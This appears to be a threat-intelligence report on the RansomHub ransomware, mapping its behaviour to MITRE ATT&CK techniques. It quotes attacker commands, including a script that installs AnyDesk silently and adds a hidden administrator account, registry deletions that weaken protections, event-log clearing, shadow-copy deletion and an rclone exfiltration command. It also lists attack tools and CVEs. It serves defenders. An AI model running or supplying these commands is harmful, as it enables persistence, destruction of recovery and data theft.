Ransomware Spotlight: Ransomhub

T1078 - Valid Accounts
The ransomware group could have possibly used compromised VPN accounts.

T1566.004 - Phishing: Spearphishing Voice
Based on external reports, the ransomware group uses social engineering to orchestrate victim account password resets, particularly with American-accented speakers

T1059.001 - Command and Scripting Interpreter: PowerShell
• Based on external reports, the ransomware group uses PowerShell scripts to execute commands related to credential access, discover remote systems, and enable SSH service.
• The ransomware group also used a PowerShell script to download AnyDesk:
Function AnyDesk { mkdir "C:\ProgramData\AnyDesk" # Download AnyDesk $clnt = new-object System.Net.WebClient $url = "hxxp://download[.]anydesk[.]com/AnyDesk.exe" $file = "C:\ProgramData\AnyDesk.exe" $clnt.DownloadFile($url,$file) cmd.exe /c C:\ProgramData\AnyDesk.exe --install C:\ProgramData\AnyDesk --start-with-win --silent cmd.exe /c echo {redacted} | C:\ProgramData\anydesk.exe --set-password net user {redacted} "{redacted}" /add net localgroup Administrators {redacted} /ADD reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v {redacted} /t REG_DWORD /d 0 /f cmd.exe /c C:\ProgramData\AnyDesk.exe --get-id }

T1059.006 - Command and Scripting Interpreter: Python
Based on external reports, the ransomware group utilizes a customized Python script to establish an SSH connection with targeted ESXi servers, transfer the encryptor via SFTP, confirm the successful transfer, and execute the encryptor simultaneously across multiple servers.

T1059.003 - Command and Scripting Interpreter: Windows Command Shell
The ransomware binary accepts the following parameters:

Other versions of the RansomHub accepts the following command line parameters:

It can also execute supplied commands before its encryption routine by using the -cmd {command to execute} parameter.

T1136.001 - Create Account: Local Account
The ransomware group was able to execute command via the net command-line utility to create a local account, maintaining access to victim systems.

T1098 - Account Manipulation
The ransomware group was able to execute command via the net command-line utility to add created user account to the administrator groups to maintain elevated access.

T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
If -safeboot is passed as an argument, the ransomware binary adds the following entries to the SOFTWARE\Microsoft\Windows NT\CurrentVersion\RunOnce registry key to execute itself upon reboot:
*zCCyEs = {Malware File Path}\{Malware File Name} -safeboot-instance -pass {32-byte passphrase}

T1547 - Boot or Logon Autostart Execution
• The ransomware binary enables automatic logon by adding the following registry entries in the SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon.
• The credentials are then saved to a text file named user.txt. The login information is also displayed in the console.
AutoAdminLogon = 1
DefaultUserName = Administrator
DefaultDomainName =
DefaultPassword = {random characters}

T1078.003 - Valid Accounts: Local Accounts
If -safeboot is passed as an argument, the ransomware binary attempts to login as the administrator using the compromised usernames and passwords included in the credentials key in the encrypted configuration using the API LogonUserW. If the login attempt fails it enables automatic logon.

T1134.001 - Access Token Manipulation: Token Impersonation/Theft
The ransomware binary can impersonate a logged-on user's security context using a call to the ImpersonateLoggedOnUser API.

T1480 - Execution Guardrails
The ransomware binary requires a -pass argument with a 32 byte passphrase to be specified when the ransomware is executed. If the wrong password is supplied, the RansomHub sample will not properly execute and will instead print bad config to the console.

T1112 - Modify Registry
Based on external reports, The ransomware group removes various registry subkeys and entries to bypass virus and threat protection settings in Windows:
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies" /f
reg delete "HKCU\Software\Microsoft\WindowsSelfHost" /f
reg delete "HKCU\Software\Policies" /f
reg delete "HKLM\Software\Microsoft\Policies" /for
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\PColicies" /f
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Windows Store\Windows Update" /f
reg delete "HKLM\Software\Microsoft\WindowsSelfHost" /f
reg delete "HKLM\Software\Policies" /f
reg delete "HKLM\Software\WOW6432Node\Microsoft\Policies" /for
reg delete "HKLM\Software\WOW6432Node\Microsoft\Windows\\CurrentVersion\Policies" /f
reg delete "HKLM\Software\WOW6432Node\Microsoft\Windows\\CurrentVersion\Windows Store\Windows Update" /f

T1027.013 - Obfuscated Files or Information: Encrypted/Encoded File
The ransomware binary used an encrypted configuration which will be decrypted at runtime using the 32-byte passphrase used during command line execution. It also contains configurable settings that exist under the settings key in the encrypted configuration.

T1564.003 - Hide Artifacts: Hidden Window
The ransomware binary has used the API ShowWindow to hide the console window.

T1070.001 - Clear Windows Event Logs
Using the API CreateProcessW, the ransomware binary clears windows event logs using the following utility commands:
• cmd.exe /c wevtutil cl security
• cmd.exe /c wevtutil cl system
• cmd.exe /c wevtutil cl application
The ransomware group also used a batch file named LogDel.bat to clear Windows event logs.
List of cleared logs in the IoCs

T1562.006 - Impair Defenses: Indicator Blocking
The ransomware binary uses the API SetErrorMode with 0x8003 as an argument to prevent the system from displaying any error on the screen.

T1222.001 - Windows File and Directory Permissions Modification
It executes the following commands to allow remote symbolic links to point to local resources:
cmd.exe /c "fsutil behavior set SymlinkEvaluation R2L:1"
cmd.exe /c "fsutil behavior set SymlinkEvaluation R2R:1"
LogDel.bat was used to modify the attributes of the default.rdp by removing the system and hidden attributes.
attrib  Default.rdp -s -h

T1562.009 - Impair Defenses: Safe Mode Boot
If -safeboot is passed as an argument, the ransomware binary can reboot the victim's machine in safe mode with networking by executing the following processes using the API CreateProcessW.
bcdedit /set {default} safeboot network

T1003 - OS Credential Dumping
After it connects to Veeam.Backup.Service.exe on TCP/9401, it creates a network share using the net command-line utility then it creates a Powershell script on the network share executed to dump credentials from the Veeam database. The dumped credentials are then saved to a text file.

T1003.003 - OS Credential Dumping: NTDS
The ransomware group was observed to be extracting the NTDS.dit file.

T1110 - Brute Force
The ransomware group conducted brute force attack on the domain controller which was followed by an ntlmv1 logon to the domain controller.

T1110.003 - Brute Force: Password Spraying
The ransomware group used a batch file named 232.bat to perform password spraying.

T1003.001 - OS Credential Dumping: LSASS Memory
The ransomware group performed credential dumping through the LSASS task manager dump.

T1555.005 - Credentials from Password Stores: Password Managers
Based on external reports, the ransomware group used a PowerShell script that interacts with the CyberArk Privileged Access Security (PAS) solution to pull account information from safes and export it to a CSV file.

T1057 - Process Discovery
The ransomware binary uses the APIs Process32FirstW and Process32NextW to search for processes that it will terminate listed in its configuration, kill_processes.
See the list of kill_processes here.

T1082 - System Information Discovery
The ransomware binary uses the API GetLogicalDriveStringsW to enumerate all mounted drives, and GetDriveTypeW to determine the drive type.

T1083 - File and Directory Discovery
The ransomware binary uses the API FindFirstFileW and FindNextFileW to search for files and folders that it will encrypt and to avoid whitelisted files and folders.
Click to see the list of white-folders and white_files.

T1082 - System Information Discovery
The ransomware binary attempts to determine if it is operating in a WINE environment by using the GetProcAddress API to check for the presence of the wine_get_version function.

T1087.001 - Account Discovery: Local Account
The ransomware binary uses the API NetUserEnum to enumerate local accounts.

T1135 - Network Share Discovery
The ransomware binary uses the API NetShareEnum to discover and encrypt shared resources on the compromised hosts.

T1570 - Lateral Tool Transfer
The ransomware binary uses the cmd command xcopy/copy to transfer the binary and driver used to terminate and delete anti-virus-related processes and files, respectively.

T1021.004 - Remote Services: SSH
Based on external reports, the ransomware group employed a PowerShell script to connect to a vCenter Server, retrieve all ESXi hosts, and configure the SSH service on each host to start automatically, enabling external SSH connections. The script also has the capability to reset the ESXi root user password and then disconnect from the vCenter Server.

T1105 - Ingress Tool Transfer
Based on external reports, the ransomware group uses SFTP to transfer the encryptor.

T1486 - Data Encrypted for Impact
It avoids encrypting files with the following file extensions:
• *.deskthemepack
• *.themepack
• *.theme
• *.msstyles
• *.exe
• *.drv
• *.msc
• *.dll
• *.lock
• *.sys
• *.msu
• *.lnk
• *.ps1
• *.iso
• *.inf
• *.cab
• *.386

It avoids encrypting files with the following strings in their file name:
• NTUSER.DAT
• autorun.inf
• boot.ini
• desktop.ini
• thumbs.db

• It avoids encrypting files found in the folders in this list of white_folders.
• It appends the first six characters of the master public key as a file extension to the encrypted file.
• It empties the recycle bin of the affected machine.
• It drops the following ransom notes:
{Encrypted directory}\README_{first six characters of the master public key}.txt
• It uses two encryption algorithms to encrypt target files, ECDH and AES. The ransomware then appends the 32-byte master public key from its configuration to the end of each encrypted file. It has an embedded configuration, decrypted during runtime, which contains the file extensions, file names, and folders to avoid.

T1490 -  Inhibit System Recovery
The ransomware binary executes the following command to delete shadow copies:
powershell.exe -Command Powershell -Command "\"Get-CimInstance Win32_ShadowCopy | Remove-CimInstance\""

T1489 - Service Stop
The ransomware binary executes the following commands to stop all virtual machines running on a Hyper-V host:
powershell.exe -Command PowerShell -Command "\"Get-VM | Stop-VM -Force\""
The ransomware binary also stops all the IIS services using the following command:
cmd.exe /c iisreset.exe /stop
The ransomware binary uses the API ControlService with dwControl set to 1 (SERVICE_CONTROL_STOP) to terminate services included in its configuration, kill_services.
See the list of kill-services here.

T1529 - System Shutdown/Reboot
If -safeboot is passed as an argument, the ransomware binary issues the following command to reboot a system:
cmd.exe /c shutdown /r /f /t 0

T1567.002 - Exfiltration to Cloud Storage
Using RClone, the group exfiltrated files via the following command:
rclone copy \\{redacted}\i$ {redacted}\Users --include ".pdf" --include ".xls" --include ".xlsx" --include ".doc" --include ".msg" --include ".rtf" --include ".mdb" --include ".db" --include ".csv" --include ".docx" --include ".jpg" --include ".png" --include ".dot" --include ".wbk" --include ".docm" --include ".dotx" --include ".xlt" --include ".xlm" --include ".accdb" --include ".sql" --include ".pst" --include ".jpeg" --include ".xlsm" --include ".xlsb" --include ".xlr" --include ".sqb" --include ".sq" --include ".DCM" --include "*.tif" --max-age 2020-01-01

• PsExec

• CVE-2020-1472

• MIMIKATZ
• LaZagne
• CVE-2023-27532
• SecretServerSecretStealer
• Veeamp

• SMB Spreader

• NetScan
• Advanced Port Scanner

• Atera
• Splashtop
• AnyDesk
• Ngrok
• Remmina
• ConnectWise Screen Connect

• POORTRY 
• STONESTOP
• TOGGLEDEFENDER
• TDSSKiller
• EDR Kill Shifter
• IOBit Unlocker

• RClone

• RansomHub Ransomware